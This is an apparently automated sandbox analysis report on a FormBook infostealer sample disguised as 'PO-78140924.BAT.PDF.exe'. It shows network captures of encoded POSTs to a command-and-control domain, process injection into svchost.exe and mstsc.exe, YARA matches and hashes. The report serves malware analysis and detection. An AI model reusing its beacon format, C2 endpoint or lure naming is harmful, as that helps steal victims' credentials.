Ascii: vf5pwn=aPX6cheLmOscml4S57C+vakzzRwzTO5n6IT7i7TTvRiRBiz6yZODf8EOy174HrxqPX8f2APnr+3MOTAEKq2qU22E0lbrii4V7aCoJN8G7QqWZBlX6hSLjgV4T5XeiWObv0WdYogY6RRb0j5ak6SuMU+8S4Id2SoWDwij9Y8oVQQA5PL76BCADmtXeeK2P4QPCvuhF0Y=
Sep 26, 2024 15:25:00.941833973 CEST	741	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:25:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWVRwH4o6es9cjRv9KQrITzRg2KDIR%2BsbB4vGKVMxFspfW7ZdvE1tyPEK1GgciZs0GZxZGO43cv1FKkEn6nYLYyMI%2F88tCw8sF%2Fn6r8xIkK2ldEGGmP7x%2BIDIGGfKPcqDmY30A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9393d46f097d0b-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Sep 26, 2024 15:25:00.941847086 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49745	172.67.165.25	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:25:02.910291910 CEST	792	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 32 52 42 48 50 36 78 62 6d 44 4d 4d 45 4f 35 56 36 7a 5a 62 77 6b 50 58 77 39 32 46 50 6e 72 2b 54 4d 4f 54 77 45 4a 5a 75 70 55 6d 32 38 2f 46 62 74 73 43 34 56 37 61 43 6f 4a 4e 6f 67 37 51 43 57 59 78 31 58 37 43 4b 49 67 67 56 37 53 35 58 65 6d 57 4f 66 76 30 57 2f 59 6f 52 51 36 55 64 62 30 6a 4a 61 6b 50 75 74 58 6b 2b 36 4e 6f 4a 43 78 78 64 50 61 78 36 65 35 5a 35 75 44 6a 73 31 38 35 6d 52 67 6a 4b 6f 51 47 42 76 4f 4e 43 42 65 49 78 6d 59 4d 2b 52 62 6a 4d 37 51 52 76 36 4b 4f 78 71 73 66 6f 2b 7a 55 31 67 66 71 72 46 Data Ascii: vf5pwn=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvD2RBHP6xbmDMMEO5V6zZbwkPXw92FPnr+TMOTwEJZupUm28/FbtsC4V7aCoJNog7QCWYx1X7CKIggV7S5XemWOfv0W/YoRQ6Udb0jJakPutXk+6NoJCxxdPax6e5Z5uDjs185mRgjKoQGBvONCBeIxmYM+RbjM7QRv6KOxqsfo+zU1gfqrF
Sep 26, 2024 15:25:03.908273935 CEST	740	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:25:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=crm9UGmSKpf08C3wAoPeM%2F09gSKvJtzPxskaWgjSa2cigzSTY8pZ4z9oDcb3zyg2wQLHivAoqsVBmHYZUVIse8y5cUKh9PoyxXvnmAeNWfweGgQwvpw290brO5ZfR3dZGZMHxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9393e7ad8a42eb-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49746	172.67.165.25	80

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:25:06.011473894 CEST	1809	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 4f 52 42 31 58 36 79 36 6d 44 50 4d 45 4f 36 56 36 77 5a 62 78 34 50 58 6f 35 32 46 4c 33 72 38 37 4d 49 77 34 45 65 59 75 70 62 6d 32 38 77 6c 62 73 69 69 34 36 37 61 53 73 4a 4e 34 67 37 51 43 57 59 33 35 58 38 52 53 49 76 41 56 34 54 35 58 61 69 57 4f 6e 76 30 50 41 59 73 4d 79 35 67 68 62 7a 44 5a 61 33 4a 36 74 62 6b 2b 34 4d 6f 4a 4b 78 78 42 71 61 78 58 76 35 5a 64 49 44 6a 45 31 38 4d 72 6f 6e 43 43 53 4d 47 52 33 4b 4b 36 34 4a 76 78 49 51 74 47 65 59 52 51 50 61 55 58 69 50 35 6c 41 6e 4d 46 4f 76 68 6c 4b 62 2b 57 71 4e 4d 4b 43 70 66 6f 30 46 50 5a 4a 49 53 70 45 44 77 4f 6d 53 66 51 74 6e 51 52 69 65 46 4a 6c 57 4f 52 47 75 74 30 30 52 66 45 4a 53 72 49 35 53 52 4b 6d 63 41 35 55 4a 7a 41 39 79 50 2b 59 4d 46 69 73 30 54 68 4b 48 6a 61 6f 41 6f 38 49 56 66 51 51 4c 78 61 75 4d 75 50 6b 35 30 73 47 78 78 4c 4d 62 6c 44 6f 6d 34 72 78 78 61 35 [TRUNCATED] Data Ascii: vf5pwn=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvDORB1X6y6mDPMEO6V6wZbx4PXo52FL3r87MIw4EeYupbm28wlbsii467aSsJN4g7QCWY35X8RSIvAV4T5XaiWOnv0PAYsMy5ghbzDZa3J6tbk+4MoJKxxBqaxXv5ZdIDjE18MronCCSMGR3KK64JvxIQtGeYRQPaUXiP5lAnMFOvhlKb+WqNMKCpfo0FPZJISpEDwOmSfQtnQRieFJlWORGut00RfEJSrI5SRKmcA5UJzA9yP+YMFis0ThKHjaoAo8IVfQQLxauMuPk50sGxxLMblDom4rxxa5xhz6FmTDEjgZMQdzA1U68jAC6rtjQ3gnjhNoxq522YAjBidpZxfy7MKRMLgExonGnqx/4rN9pj/SEssAvkKovW9YzoeHFpd7fKNO5PKUG+MANN6NfsbO2JJD7O9DenvksuIKzVEaCg7M8dVrnLTlktT/Cn6EfrIlmMVEe906pEzog2gNfHZN00Ur4bImHIZQsF/VFVh2k/rUITpoXnjBn5iY1DOz8jFpd81ajrh40tUzhqyaUeXMdHTvxChwB002LLkB8oRZAKNr+pICE7iQsnnyUE0zCKzYHtZW+IineEWEAnq4Q+DoEDr7t4UNeUwJ7bZeZm9q/sMerUm02A7ChfqYKe2lWb1S+xho65B0CnAlfo8gnMrd6P7eaEhP0GkEjwqQOEZGpOVxeskvOpSbMPtf9HI7o88hMzyDEgW/H/NebJSjXJ4e3xghuGf9VAOI01oA8F+ENgZ2jexAS9qh+lmvwotSS+F7SUHXKpATONfBv8c4PHwLojURkYg0XP1Fa+JZEJ14AU6db+aj2crxkmAbCbr+wJcjP9pxy6olaeVz+AfxCDjcg4QuTu34QsJWQIXzAkB93LBD120SY+E80vlvmynuhdMoroDoWtOAkMtOQXlG8Hjp9h/vQHzV5YURyw3SR+RwnUJl57IPBm1bY7MRVc+7jVeHny [TRUNCATED]
Sep 26, 2024 15:25:07.010147095 CEST	752	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:25:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IProemyRG98En7CWZdF5GfaX%2FSemz5Ye%2BaDogSHz%2FU3WGZsXphsfVu4nAYsd1MLoJaxK1nz%2BqW7CmqVrraUXmpxK8CCNoNnbvuyhZRFApA2N1VLsn%2BlD%2BvpUWVFo%2FsnxdOtvlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9393fb0e5918bc-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Target ID:	0
Start time:	09:21:58
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"
Imagebase:	0x10000
File size:	1'085'440 bytes
MD5 hash:	0C3D90F3A7607383E1E4A5DA779B23F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:21:59
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"
Imagebase:	0x160000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	09:22:02
Start date:	26/09/2024
Path:	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe"
Imagebase:	0x770000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3900775999.0000000006310000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	09:22:04
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mstsc.exe"
Imagebase:	0xfa0000
File size:	1'264'640 bytes
MD5 hash:	EA4A02BE14C405327EEBA8D9AD2BD42C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	09:22:30
Start date:	26/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true